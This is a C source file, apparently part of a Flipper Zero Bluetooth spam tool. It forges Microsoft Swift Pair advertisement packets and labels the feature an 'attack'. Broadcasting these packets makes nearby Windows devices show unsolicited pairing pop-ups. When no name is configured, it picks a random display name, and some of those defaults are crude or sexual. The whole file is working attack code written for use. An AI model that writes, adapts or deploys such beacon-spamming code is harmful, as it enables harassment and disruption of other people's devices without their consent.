swiftpair.c 3.5 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121
  1. #include "swiftpair.h"
  2. #include "_protocols.h"
  3. // Hacked together by @Willy-JL and @Spooks4576
  4. // Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
  5. static const char* swiftpair_get_name(const ProtocolCfg* _cfg) {
  6. UNUSED(_cfg);
  7. return "SwiftPair";
  8. }
  9. static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) {
  10. const SwiftpairCfg* cfg = _cfg ? &_cfg->swiftpair : NULL;
  11. const char* name;
  12. if(cfg && cfg->name[0] != '\0') {
  13. name = cfg->name;
  14. } else {
  15. const char* names[] = {
  16. "Assquach💦",
  17. "Flipper 🐬",
  18. "iOS 17 🍎",
  19. "Kink💦",
  20. "👉👌",
  21. "🔵🦷",
  22. };
  23. name = names[rand() % COUNT_OF(names)];
  24. }
  25. uint8_t name_len = strlen(name);
  26. uint8_t size = 7 + name_len;
  27. uint8_t* packet = malloc(size);
  28. uint8_t i = 0;
  29. packet[i++] = size - 1; // Size
  30. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  31. packet[i++] = 0x06; // Company ID (Microsoft)
  32. packet[i++] = 0x00; // ...
  33. packet[i++] = 0x03; // Microsoft Beacon ID
  34. packet[i++] = 0x00; // Microsoft Beacon Sub Scenario
  35. packet[i++] = 0x80; // Reserved RSSI Byte
  36. memcpy(&packet[i], name, name_len);
  37. i += name_len;
  38. *_size = size;
  39. *_packet = packet;
  40. }
  41. enum {
  42. _ConfigExtraStart = ConfigExtraStart,
  43. ConfigName,
  44. ConfigInfoRequire,
  45. ConfigCOUNT,
  46. };
  47. static void config_callback(void* _ctx, uint32_t index) {
  48. Ctx* ctx = _ctx;
  49. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
  50. switch(index) {
  51. case ConfigName:
  52. scene_manager_next_scene(ctx->scene_manager, SceneSwiftpairName);
  53. break;
  54. case ConfigInfoRequire:
  55. break;
  56. default:
  57. ctx->fallback_config_enter(ctx, index);
  58. break;
  59. }
  60. }
  61. static void swiftpair_extra_config(Ctx* ctx) {
  62. SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair;
  63. VariableItemList* list = ctx->variable_item_list;
  64. VariableItem* item;
  65. item = variable_item_list_add(list, "Display Name", 0, NULL, NULL);
  66. variable_item_set_current_value_text(item, cfg->name[0] != '\0' ? cfg->name : "Random");
  67. variable_item_list_add(list, "Requires enabling SwiftPair", 0, NULL, NULL);
  68. variable_item_list_set_enter_callback(list, config_callback, ctx);
  69. }
  70. static uint8_t swiftpair_config_count(const ProtocolCfg* _cfg) {
  71. UNUSED(_cfg);
  72. return ConfigCOUNT - ConfigExtraStart - 1;
  73. }
  74. const Protocol protocol_swiftpair = {
  75. .icon = &I_windows,
  76. .get_name = swiftpair_get_name,
  77. .make_packet = swiftpair_make_packet,
  78. .extra_config = swiftpair_extra_config,
  79. .config_count = swiftpair_config_count,
  80. };
  81. static void name_callback(void* _ctx) {
  82. Ctx* ctx = _ctx;
  83. scene_manager_previous_scene(ctx->scene_manager);
  84. }
  85. void scene_swiftpair_name_on_enter(void* _ctx) {
  86. Ctx* ctx = _ctx;
  87. SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair;
  88. TextInput* text_input = ctx->text_input;
  89. text_input_reset(text_input);
  90. text_input_set_header_text(text_input, "Leave empty for random");
  91. text_input_set_result_callback(
  92. text_input, name_callback, ctx, cfg->name, sizeof(cfg->name), true);
  93. text_input_set_minimum_length(text_input, 0);
  94. view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewTextInput);
  95. }
  96. bool scene_swiftpair_name_on_event(void* _ctx, SceneManagerEvent event) {
  97. UNUSED(_ctx);
  98. UNUSED(event);
  99. return false;
  100. }
  101. void scene_swiftpair_name_on_exit(void* _ctx) {
  102. UNUSED(_ctx);
  103. }